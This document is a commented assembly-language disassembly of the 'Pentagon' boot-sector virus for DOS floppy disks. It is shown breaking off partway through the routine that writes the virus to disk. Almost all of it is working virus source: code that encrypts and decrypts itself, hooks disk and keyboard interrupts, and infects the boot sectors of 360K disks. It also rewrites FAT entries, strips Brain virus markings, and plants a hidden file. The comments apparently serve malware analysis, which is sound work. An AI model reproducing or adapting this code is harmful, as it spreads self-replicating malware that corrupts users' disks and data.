; The boot sector is a normal PCDOS 3.20 boot sector with three
|
||||
; changes:
|
||||
|
||||
; 1. The OEM name 'IBM' has been changed to 'HAL'.
|
||||
|
||||
; 2. The first part of the virus code overwrites 036H to 0C5H.
|
||||
|
||||
; 3. 100H-122H has been overwritten by a character string.
|
||||
|
||||
; The name of the first file is the hex character 0F9H. This file
|
||||
; contains the rest of the virus code followed by the original boot
|
||||
; sector.
|
||||
|
||||
; The name of the second file is PENTAGON.TXT. This file does not
|
||||
; appear to be used in any way or contain any meaningful data.
|
||||
|
||||
; Both files are created without the aid of DOS, and the first
|
||||
; file is accessed by its stored absolute location.
|
||||
|
||||
; Four different sections of the virus are separately encrypted:
|
||||
|
||||
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
|
||||
|
||||
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
|
||||
|
||||
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
|
||||
|
||||
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
|
||||
|
||||
SEG70 SEGMENT AT 70H
|
||||
ASSUME CS:SEG70
|
||||
EXIT:
|
||||
SEG70 ENDS
|
||||
|
||||
BOOT SEGMENT AT 0
|
||||
|
||||
ORG 413H
|
||||
BW0413 DW ?
|
||||
|
||||
ORG 417H
|
||||
BB0417 DB ?
|
||||
|
||||
ORG 51CH
|
||||
BW051C DW ?
|
||||
|
||||
ORG 7C0BH
|
||||
DW7C0B DW ?
|
||||
|
||||
ORG 7C18H
|
||||
DW7C18 DW ?
|
||||
DW7C1A DW ?
|
||||
|
||||
ORG 7C2AH
|
||||
DB7C2A DB ?
|
||||
|
||||
ORG 7C37H
|
||||
DW7C37 DW ?
|
||||
DW7C39 DW ?
|
||||
DB7C3B DB ?
|
||||
DB7C3C DB ?
|
||||
DW7C3D DW ?
|
||||
|
||||
ORG 7DB7H
|
||||
DB7DB7 DB ?
|
||||
|
||||
ORG 7DFDH
|
||||
DB7DFD DB ?
|
||||
|
||||
ORG 7E00H
|
||||
DW7E00 DW ? ; DW008F - Track and sector of rest of code
|
||||
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
|
||||
DW7E04 DW ? ; DW0093 - Segment address of virus
|
||||
|
||||
BOOT ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
IF1
|
||||
ORG 206H
|
||||
BP0095X LABEL NEAR
|
||||
ENDIF
|
||||
|
||||
ORG 0
|
||||
START: JMP BP0036
|
||||
|
||||
DB 'HAL 3.2'
|
||||
|
||||
DW 512 ; BPB001 - Bytes per sector
|
||||
DB 2 ; BPB002 - Sectors per allocation unit
|
||||
DW 1 ; BPB003 - Reserved sectors
|
||||
DB 2 ; BPB004 - Number of FATs
|
||||
DW 112 ; BPB005 - Number of root dir entries
|
||||
DW 720 ; BPB006 - Number of sectors
|
||||
DB 0FDH ; BPB007 - Media Descriptor
|
||||
DW 2 ; BPB008 - Number of sectors per FAT
|
||||
DW 9 ; BPB009 - Sectors per track
|
||||
DW 2 ; BPB010 - Number of heads
|
||||
DW 0 ; BPB011 - Number of hidden sectors (low order)
|
||||
BPB012 DW 0 ; Number of hidden sectors (high order)
|
||||
|
||||
DB 10 DUP (0)
|
||||
|
||||
HEADNO DB 0
|
||||
|
||||
; Interrupt 30 (1EH) - Disk parameter table
|
||||
|
||||
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
|
||||
|
||||
DB 1, 0
|
||||
|
||||
BP0036: CLI
|
||||
MOV AX,CS ; \ Set SS to CS
|
||||
MOV SS,AX ; /
|
||||
MOV SP,0F000H ; Set stack pointer
|
||||
MOV DS,AX ; Set DS to CS
|
||||
STI
|
||||
MOV BP,OFFSET BP0044+7C00H
|
||||
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
|
||||
NOP
|
||||
DW004A EQU THIS WORD
|
||||
MOV DH,0FCH ; Decryption key
|
||||
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
BP0052: XOR [BP+00],DH ; Decrypt a byte
|
||||
INC BP ; Next byte
|
||||
LOOP BP0052 ; Repeat for all of it
|
||||
NOP
|
||||
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
|
||||
MOV AX,BW0413 ; Get RAM size in K
|
||||
SUB AX,0005 ; Subtract five K
|
||||
MOV BW0413,AX ; Replace amended RAM size
|
||||
MOV CL,06 ; Bits to move
|
||||
SHL AX,CL ; Convert to segment address
|
||||
MOV DW0093+7C00H,AX ; Save segment address
|
||||
NOP
|
||||
MOV ES,AX ; Set ES to this segment
|
||||
XOR DI,DI ; Move to start
|
||||
MOV SI,7C00H ; From start of boot sector buffer
|
||||
MOV CX,0200H ; Move one sector
|
||||
CLD
|
||||
REPZ MOVSB ; Move sector to high-core
|
||||
NOP
|
||||
|
||||
; Move next section of code to a safe area
|
||||
|
||||
MOV DI,200H+7C00H
|
||||
MOV SI,OFFSET DW008F+7C00H
|
||||
MOV CX,OFFSET DB00C5-DW008F ; Length to move
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
CLD
|
||||
REPZ MOVSB ; Copy program section
|
||||
JMP BP0095X ; This is BP0095 in new location
|
||||
|
||||
DW008F DW 0B02H ; Track and sector of rest of code
|
||||
DW0091 DW 100H ; Head and drive of rest of code
|
||||
DW0093 DW 9EC0H ; Segment address of virus
|
||||
|
||||
BP0095: MOV CX,0004 ; Number of retries
|
||||
BP0098: PUSH CX
|
||||
MOV CX,DW7E00 ; Get track and sector number
|
||||
MOV DX,DW7E02 ; Get head and drive number
|
||||
MOV ES,DW7E04 ; Get buffer segment address
|
||||
MOV BX,0200H ; Buffer offset
|
||||
MOV AX,0201H ; Read one sector
|
||||
INT 13H ; Disk I/O
|
||||
JNB BP00B8 ; Branch if no error
|
||||
POP CX
|
||||
XOR AH,AH ; Reset floppy disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
LOOP BP0098 ; Retry
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP00B8: POP CX
|
||||
MOV AX,OFFSET DW7E04 ; Address segment address
|
||||
CLI
|
||||
MOV SP,AX ; Point SP at segment address
|
||||
STI
|
||||
MOV AX,0200H ; \ Address of second section
|
||||
PUSH AX ; /
|
||||
RETF
|
||||
|
||||
DB00C5 DB 50H
|
||||
|
||||
; The rest of this sector is a normal PCDOS 3.20 boot sector
|
||||
; which has been overwritten at 100H-122H by a character string
|
||||
|
||||
DB 61H, 0
|
||||
|
||||
XOR AH,AH
|
||||
INT 16H
|
||||
POP SI
|
||||
POP DS
|
||||
POP [SI]
|
||||
|
||||
DW00D0 DW 0B06H ; Track and sector numbers
|
||||
DW00D2 DW 0100H ; Head and drive numbers
|
||||
DB 19H
|
||||
|
||||
MOV SI,OFFSET DB7DB7
|
||||
JMP NEAR PTR DB00C5
|
||||
|
||||
MOV AX,BW051C
|
||||
XOR DX,DX
|
||||
DIV DW7C0B
|
||||
INC AL
|
||||
MOV DB7C3C,AL
|
||||
MOV AX,DW7C37
|
||||
MOV DW7C3D,AX
|
||||
MOV BX,0700H
|
||||
MOV AX,DW7C37
|
||||
CALL BP0137
|
||||
MOV AX,DW7C18
|
||||
SUB AL,DB7C3B
|
||||
INC AX
|
||||
PUSH AX
|
||||
|
||||
DB '(c) 1987 The Pentagon, Zorell Group'
|
||||
|
||||
DB 7CH
|
||||
JMP FAR PTR EXIT
|
||||
|
||||
BP0129: LODSB
|
||||
OR AL,AL
|
||||
JZ BP0150
|
||||
MOV AH,0EH
|
||||
MOV BX,7
|
||||
INT 10H
|
||||
JMP BP0129
|
||||
|
||||
BP0137: XOR DX,DX
|
||||
DIV DW7C18
|
||||
INC DL
|
||||
MOV DB7C3B,DL
|
||||
XOR DX,DX
|
||||
DIV DW7C1A
|
||||
MOV DB7C2A,DL
|
||||
MOV DW7C39,AX
|
||||
BP0150: RET
|
||||
|
||||
MOV AH,2
|
||||
MOV DX,DW7C39
|
||||
MOV CL,6
|
||||
SHL DH,CL
|
||||
OR DH,DB7C3B
|
||||
MOV CX,DX
|
||||
XCHG CH,CL
|
||||
MOV DL,DB7DFD
|
||||
MOV DH,DB7C2A
|
||||
INT 13H
|
||||
RET
|
||||
|
||||
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
|
||||
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
|
||||
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
|
||||
DB 'IBMBIO COMIBMDOS COM'
|
||||
|
||||
ORG 01FEH
|
||||
DW 0AA55H
|
||||
|
||||
; Second sector of virus
|
||||
|
||||
BP0200: CLI
|
||||
MOV SP,0F000H ; Reset stack pointer
|
||||
STI
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
MOV BX,004CH ; INT 13H jump address
|
||||
MOV BP,01A0H ; INT 68H jump address
|
||||
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
|
||||
JE BP0219 ; Branch if not
|
||||
JMP BP024E
|
||||
|
||||
BP0219: MOV AX,[BX] ; Get INT 13H offset
|
||||
MOV DS:[BP+0],AX ; Set INT 68H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 13H segment
|
||||
MOV DS:[BP+2],AX ; Set INT 68H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
|
||||
MOV AX,CS ; \ Set INT 13H segment
|
||||
MOV [BX+2],AX ; /
|
||||
MOV BX,0024H ; INT 9 jump address
|
||||
MOV BP,01A4H ; INT 69H jump address
|
||||
MOV AX,[BX] ; Get INT 9 offset
|
||||
MOV DS:[BP],AX ; Set INT 69H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 9 segment
|
||||
MOV DS:[BP+2],AX ; Set INT 69H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
|
||||
MOV AX,CS ; \ Set INT 9 segment
|
||||
MOV [BX+02],AX ; /
|
||||
JMP BP0254
|
||||
|
||||
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
|
||||
ADD WORD PTR [BX],5 ; Restore the 5K
|
||||
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and device
|
||||
MOV BX,0200H ; Address second sector
|
||||
MOV CX,3 ; Three sectors to read
|
||||
BP0265: PUSH CX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
MOV CS:[BP],CX ; Save new track and sector
|
||||
ADD BX,0200H ; Address next buffer area
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0280 ; Branch if no error
|
||||
POP CX
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, first sector
|
||||
|
||||
BP0280: POP CX ; Retrieve read count
|
||||
LOOP BP0265 ; Repeat for other sectors
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and drive
|
||||
MOV BX,1000H ; Buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP029B ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, second sector
|
||||
|
||||
BP029B: CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Update buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP02AC ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to decrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV AX,CS ; \
|
||||
MOV ES,AX ; ) Set ES & DS to CS
|
||||
MOV DS,AX ; /
|
||||
MOV DI,0100H ; Middle of 1st sector
|
||||
MOV SI,OFFSET DB07BC ; Address copyright message
|
||||
MOV CX,0023H ; Length of copyright message
|
||||
REPZ MOVSB ; Copy copyright message
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV CX,0200H ; Length to decrypt
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
MOV DI,7C00H ; Boot sector buffer
|
||||
MOV SI,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Sector length
|
||||
CLD
|
||||
REPZ MOVSB ; Copy boot sector
|
||||
DB 0EAH ; Far jump to boot sector
|
||||
DW 7C00H, 0
|
||||
|
||||
DB 16 DUP (0)
|
||||
|
||||
; Address to next sector
|
||||
|
||||
BP0300: INC CL ; Increment sector number
|
||||
CMP CL,0AH ; Is it sector ten?
|
||||
JL BP0314 ; Branch if not
|
||||
MOV CL,1 ; Set sector to one
|
||||
INC DH ; Increment head
|
||||
CMP DH,2 ; Is it head two?
|
||||
JL BP0314 ; Branch if not
|
||||
XOR DH,DH ; Set head to zero
|
||||
INC CH ; Increment track
|
||||
BP0314: RET
|
||||
|
||||
; Encrypt/decrypt
|
||||
|
||||
BP0315: XOR [BX],AL ; Encrypt a byte
|
||||
INC BX ; Address next byte
|
||||
LOOP BP0315 ; Repeat for count
|
||||
RET
|
||||
|
||||
; Read from or write to disk
|
||||
|
||||
BP031B: PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,AX ; Save function
|
||||
MOV DI,CX ; Save track and sector
|
||||
MOV CX,3 ; Number of retries
|
||||
BP0324: PUSH CX
|
||||
MOV AX,SI ; Retrieve function
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
INT 68H ; Disk I/O
|
||||
JNB BP0338 ; Branch if no error
|
||||
XOR AH,AH ; Reset sub-system
|
||||
INT 68H ; Disk I/O
|
||||
POP CX ; Retrieve number of retries
|
||||
LOOP BP0324 ; Retry
|
||||
STC
|
||||
JMP BP033B
|
||||
|
||||
BP0338: POP CX ; Retrieve number of retries
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
BP033B: POP DI
|
||||
POP SI
|
||||
RET
|
||||
|
||||
; Find unused FAT entry pair
|
||||
|
||||
BP033E: PUSH AX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV DX,CX ; Initial cluster number
|
||||
XOR AL,AL ; Search for zero
|
||||
BP0348: MOV CX,3 ; Three bytes to check
|
||||
MOV DI,BX ; Address FAT entry pair
|
||||
REPZ SCASB ; Scan for non-zero
|
||||
CMP CX,0 ; Is FAT pair unused
|
||||
JE BP0361 ; Branch if yes
|
||||
ADD BX,3 ; Address next entry pair
|
||||
ADD DX,2 ; Update entry count
|
||||
CMP DX,0162H ; Entry 354?
|
||||
JLE BP0348 ; Process entry pair if not
|
||||
STC
|
||||
BP0361: MOV CX,DX ; Cluster number found
|
||||
POP DI
|
||||
POP ES
|
||||
POP DX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Find and flag an unused entry
|
||||
|
||||
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
|
||||
JZ BP0384 ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
INC BX ; Address 2nd entry
|
||||
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
|
||||
JZ BP038B ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
ADD BX,2 ; Address next entry pair
|
||||
CMP CX,0163H ; Entry 355?
|
||||
JLE BP0368 ; Process next FAT pair if not
|
||||
STC
|
||||
JMP BP0390
|
||||
|
||||
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
|
||||
JMP BP038F
|
||||
|
||||
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
BP038F: CLC
|
||||
BP0390: RET
|
||||
|
||||
; Unflag Brain virus bad clusters
|
||||
|
||||
BP0391: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV DX,CX
|
||||
BP0397: MOV AX,[BX] ; Get FAT entry
|
||||
AND AX,0FFFH ; Isolate FAT entry
|
||||
CMP AX,0FF7H ; Bad cluster?
|
||||
JE BP03B8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
INC BX ; Address next entry
|
||||
MOV AX,[BX] ; Get FAT entry
|
||||
MOV CL,4 ; Bits to move
|
||||
SHR AX,CL ; Move FAT entry
|
||||
CMP AX,0FF7H ; Bad Cluster?
|
||||
JE BP03C8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
ADD BX,2 ; Address next pair of entries
|
||||
CMP DX,015FH ; Entry 351?
|
||||
JLE BP0397 ; Process this pair if not
|
||||
BP03B8: MOV WORD PTR [BX],0 ; \
|
||||
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
|
||||
XOR WORD PTR [BX+3],0FF7H ; /
|
||||
JMP BP03D5
|
||||
|
||||
BP03C8: XOR WORD PTR [BX],0FF7H ; \
|
||||
MOV WORD PTR [BX+2],0 ; ) Clear three entries
|
||||
MOV BYTE PTR [BX+4],0 ; /
|
||||
BP03D5: POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Convert cluster number to track, head and sector
|
||||
|
||||
BP03DA: PUSH AX
|
||||
PUSH BX
|
||||
SUB CX,2 ; Subtract number of 1st cluster
|
||||
ADD CX,CX ; Two sectors per cluster
|
||||
ADD CX,0CH ; Add sector num of 1st cluster
|
||||
MOV AX,CX ; Copy sector number
|
||||
PUSH AX ; Save sector number
|
||||
MOV BL,9 ; Nine sectors per track
|
||||
DIV BL ; Divide by sectors per track
|
||||
INC AH ; First sector is one
|
||||
MOV CL,AH ; Move sector number
|
||||
XOR AH,AH ; Clear top of register
|
||||
MOV BL,2 ; Two heads
|
||||
DIV BL ; Divide by heads
|
||||
MOV DH,AH ; Move head number
|
||||
POP AX ; Retrieve sector number
|
||||
MOV BL,12H ; 18 sectors per track (both sides)
|
||||
DIV BL ; Divide by sectors per track
|
||||
MOV CH,AL ; Move track number
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Update directory
|
||||
|
||||
BP0401: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV CX,000FH ; Fifteen entries per sector
|
||||
XOR DI,DI ; Start of sector
|
||||
CMP AX,7 ; Is this first dir sector
|
||||
JNE BP0416 ; Branch if not
|
||||
SUB CX,3 ; Subtract three from count
|
||||
ADD DI,60H ; Address fourth entry
|
||||
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
|
||||
JNE BP0443 ; Branch if not
|
||||
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
|
||||
JNE BP0443 ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH CX
|
||||
ADD DI,BX ; Add sector address
|
||||
LEA SI,DB07B1 ; Address label
|
||||
MOV CX,000BH ; Length of new label
|
||||
CLD
|
||||
REPZ MOVSB ; Copy label
|
||||
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
POP CX
|
||||
POP DI
|
||||
POP SI
|
||||
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
|
||||
JE BP0452 ; Branch if yes
|
||||
ADD DI,20H ; Address next entry
|
||||
LOOP BP0416 ; Process next entry
|
||||
STC
|
||||
JMP BP0487
|
||||
|
||||
BP0452: ADD DI,BX ; Add sector address
|
||||
MOV BX,DI ; Move entry address
|
||||
MOV BYTE PTR [BX],0F9H ; "Filename"
|
||||
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
|
||||
MOV CX,CS:DW0784 ; Get virus cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
|
||||
MOV WORD PTR [BX+1EH],0 ; /
|
||||
ADD DI,20H ; Address next entry
|
||||
MOV BX,DI ; Move entry address
|
||||
LEA SI,DB0791 ; Address start of encrypted
|
||||
MOV CX,0020H ; One complete entry to move
|
||||
CLD
|
||||
REPZ MOVSB ; Move entry
|
||||
MOV CX,CS:DW0786 ; Get file cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
CLC
|
||||
BP0487: POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
; Read actual boot sector - Brain infected
|
||||
|
||||
BP048D: PUSH AX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV CX,[BX+7] ; Get track and sector
|
||||
MOV DH,[BX+6] ; Get head number
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
POP DX
|
||||
POP CX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Generate a sound
|
||||
|
||||
BP04A0: MOV BP,1 ; One loop
|
||||
MOV AL,0B6H ; Counter two, both bytes, sq wave
|
||||
OUT 43H,AL ; Set PIT control register
|
||||
MOV AX,0533H ; Sound frequency
|
||||
OUT 42H,AL ; Send first byte
|
||||
MOV AL,AH ; Get second byte
|
||||
OUT 42H,AL ; Send second byte
|
||||
IN AL,61H ; Get port B
|
||||
MOV AH,AL ; Save port B value
|
||||
OR AL,3 ; Set sound bits on
|
||||
OUT 61H,AL ; Send port B
|
||||
SUB CX,CX ; Maximum loop count
|
||||
BP04BA: LOOP BP04BA ; Delay
|
||||
DEC BP ; Decrement count of loops
|
||||
JNZ BP04BA ; Branch if not zero (it won't be)
|
||||
MOV AL,AH ; Recover original port B
|
||||
OUT 61H,AL ; Send port B
|
||||
RET
|
||||
|
||||
; Int 13H routine
|
||||
|
||||
BP04C4: STI
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
MOV CS:DB0790,DL ; Save device
|
||||
CMP AH,2 ; Is function a read?
|
||||
JE BP04DA ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP04DA: DEC CS:DB07E0 ; Decrement count
|
||||
JZ BP04E4 ; Infect when zero
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get boot sector
|
||||
|
||||
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
PUSH CS ; \
|
||||
POP AX ; \ Set DS & ES to CS
|
||||
MOV DS,AX ; /
|
||||
MOV ES,AX ; /
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,1 ; Track zero, sector one
|
||||
MOV DH,0 ; Head zero
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0508 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Brain virus
|
||||
|
||||
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
|
||||
JNE BP051D ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
|
||||
CALL BP048D ; Read actual boot sector
|
||||
JNB BP052D ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for Pentagon virus
|
||||
|
||||
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
|
||||
JNE BP052D ; Branch if not
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check for DOS boot sector
|
||||
|
||||
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
|
||||
JE BP0538 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get first FAT sector
|
||||
|
||||
BP0538: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0549 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Check media byte
|
||||
|
||||
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
|
||||
JE BP0551 ; Branch if yes
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Get second sector of FAT
|
||||
|
||||
BP0551: ADD BX,0200H ; Update buffer address
|
||||
INC CL ; Next sector
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0562 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
|
||||
JNE BP0573 ; Branch if off
|
||||
MOV BX,0A03H ; Address first cluster in FAT
|
||||
MOV CX,2 ; First cluster is number two
|
||||
CALL BP0391 ; Unflag Brain virus bad clusters
|
||||
BP0573: MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP033E ; Find unused FAT entry pair
|
||||
JNB BP0581 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
|
||||
INC CX ; Next cluster number
|
||||
MOV [BX],CX ; Put it in first FAT entry
|
||||
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
DEC CX ; Set cluster number back
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW0788,CX ; Save virus track & sector
|
||||
MOV CS:DW078A,DX ; Save virus head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CS:[BP+00],CX ; Save virus track & sector
|
||||
MOV CS:[BP+03],DH ; Save virus head
|
||||
POP BP
|
||||
MOV BX,0A96H ; \ Start from cluster 100
|
||||
MOV CX,0064H ; /
|
||||
CALL BP0368 ; Find an unused FAT entry
|
||||
JNB BP05B7 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
|
||||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||||
MOV CS:DW078C,CX ; Save file track & sector
|
||||
MOV CS:DW078E,DX ; Save file head and drive
|
||||
PUSH BP
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CS:[BP],CX ; Save track and sector
|
||||
MOV CS:[BP+3],DH ; Save head
|
||||
POP BP
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Length to encrypt
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
|
||||
LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BX,0200H ; Virus second sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,CS:DW0788 ; Get virus track & sector
|
||||
MOV DX,CS:DW078A ; Get virus head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP0613 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP0613: MOV AX,3 ; Three sectors to write
|
||||
BP0616: PUSH AX ; Save write count
|
||||
ADD BX,0200H ; Next sector buffer
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement count
|
||||
JNZ BP0616 ; Repeat for each sector
|
||||
JMP BP0631
|
||||
|
||||
BP062D: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write file
|
||||
|
||||
BP0631: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to encrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt/decrypt
|
||||
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||||
MOV CX,CS:DW078C ; Get file track & sector
|
||||
MOV DX,CS:DW078E ; Get file head and drive
|
||||
MOV DL,CS:DB0790 ; Load device
|
||||
MOV BX,1000H ; Address file buffer
|
||||
MOV AX,2 ; Two sectors to write
|
||||
BP065B: PUSH AX ; Save write count
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
JB BP062D ; Branch if error
|
||||
CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Address next sector buffer
|
||||
